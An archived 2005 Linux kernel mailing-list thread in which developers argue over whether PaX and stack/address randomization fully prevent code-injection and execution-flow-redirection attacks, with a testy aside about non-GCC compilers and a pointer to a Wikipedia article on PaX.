Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Ingo Molnar]

* Julien TINNES <julien.tinnes.NOSPAM@francetelecom.REMOVE.com> wrote:

> But if you consider code injection as in your previous post:
> 
> >btw., do you consider PaX as a 100% sure solution against 'code
> >injection' attacks (meaning that the attacker wants to execute an
> >arbitrary piece of code, and assuming the attacked application has a
> >stack overflow)? I.e. does PaX avoid all such attacks in a guaranteed
> >way?
> 
> then the answer to your question is no because a stack overflow
> usually allows two things: injection of new code, and execution flow
> redirection. While the former is prevented, the later is not and the
> attacker could use chaining techniques as in [1] to execute "arbitrary
> code" (but not directly as an arbitrary, newly injected sequence of
> opcodes). Address space obfuscation (address space layout
> randomization is one way) is making it harder (but not impossible,
> esp. if you don't have anything preventing the attacker from
> bruteforcing...) to use existing code.

precisely my point (see my previous, very long post).

obviously it's not us who defines what 'code injection' is but the laws
of physics and the laws of computer science. Restricting to the native
CPU's machine code format may cover an important special-case, but it
will prevent arbitrary code execution just as much as a house that has a
locked door but an open window, where the owner defines "burglary" as
"the bad guy tries to open the door". Correct in a sense, but not secure
in guaranteed way :-|

	Ingo

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Peter Busser]

On Wednesday 02 February 2005 23:08, pageexec@freemail.hu wrote:
> > and how do you force a program to call that function and then to execute
> > your shellcode? In other words: i challenge you to show a working
> > (simulated) exploit on Fedora (on the latest fc4 devel version, etc.)
> > that does that.

Ingo is assuming a best-case scenario here. Assumptions are the mother of all 
fuckups. This discussion does not address issues which arise when:

- You compile code with different compilers (say, OCaml, tcc, Intel Compiler, 
or whatever)
- What happens when you run existing commercial applications which have not 
been compiled using GCC.
- What happens when you mix GCC compiled code with other code (e.g. a 
commercial Motif library).
- What happens when you link libraries compiled with older GCC versions?
- And so on and so forth.

It can be fun to dive into a low-level details discussion. But unless you 
solved the higher level issues, the whole discussion is just a waste of time. 
And these higher level issues won't be fixed unless people start to properly 
address worst-case behaviour, like any sensible engineer would do.

> i don't have any Fedora but i think i know roughly what you're doing,
> if some of the stuff below wouldn't work, let me know.

You've tried to educate these people before. You're wasting your time and 
talent. I think you should ask for a handsome payment when these people want 
to enjoy the privilege of being properly educated by someone who knows what 
he's talking about.

Groetjes,
Peter.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[Roman Zippel]

Hi,

On Thu, 3 Feb 2005, Peter Busser wrote:

> - What happens when you run existing commercial applications which have not 
> been compiled using GCC.

>From http://pax.grsecurity.net/docs/pax.txt:

   The goal of the PaX project is to research various defense mechanisms
   against the exploitation of software bugs that give an attacker arbitrary
   read/write access to the attacked task's address space. 

Could you please explain how PaX makes such applications secure?

bye, Roman

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[pageexec]

> From http://pax.grsecurity.net/docs/pax.txt:
> 
>    The goal of the PaX project is to research various defense mechanisms
>    against the exploitation of software bugs that give an attacker arbitrary
>    read/write access to the attacked task's address space. 
> 
> Could you please explain how PaX makes such applications secure?

the answer should be in the doc you linked... if you have specific
questions, feel free to ask.

Re: Sabotaged PaXtest (was: Re: Patch 4/6 randomize the stack pointer)

[John Richard Moser]

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1



Roman Zippel wrote:
> Hi,
> 
> On Thu, 3 Feb 2005, Peter Busser wrote:
> 
> 
>>- What happens when you run existing commercial applications which have not 
>>been compiled using GCC.
> 
> 
>>From http://pax.grsecurity.net/docs/pax.txt:
> 
>    The goal of the PaX project is to research various defense mechanisms
>    against the exploitation of software bugs that give an attacker arbitrary
>    read/write access to the attacked task's address space. 
> 
> Could you please explain how PaX makes such applications secure?
> 

I wrote an easy-to-chew article[1] about PaX on Wikipedia, although
looking back at it I think there may be some erratta in the ASLR
concept; I think the mmap() base is randomized, but I'm not sure now if
the actual base of each mmap() call is individually randomized as shown
in my diagrams.  I'm also no longer sure where I got the notion that the
heap/.bss/data segments are the same entity, and I'll have to check on that.

Nevertheless, it's basically accurate, in the same way that saying you
have a gameboy advance SP when you just have a gameboy advance is
basically accurate.

[1] http://en.wikipedia.org/wiki/PaX

> bye, Roman
> -
> To unsubscribe from this list: send the line "unsubscribe linux-kernel" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> Please read the FAQ at  http://www.tux.org/lkml/
> 

- --
All content of all messages exchanged herein are left in the
Public Domain, unless otherwise explicitly stated.

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.5 (GNU/Linux)
Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org

iD8DBQFCB7PlhDd4aOud5P8RAr+pAKCCcbqLuG7OQzZlJrd5UdsA3NooUgCePXnp
D+xS98fWm9MVEBZpB+pIrTY=
=r+20
-----END PGP SIGNATURE-----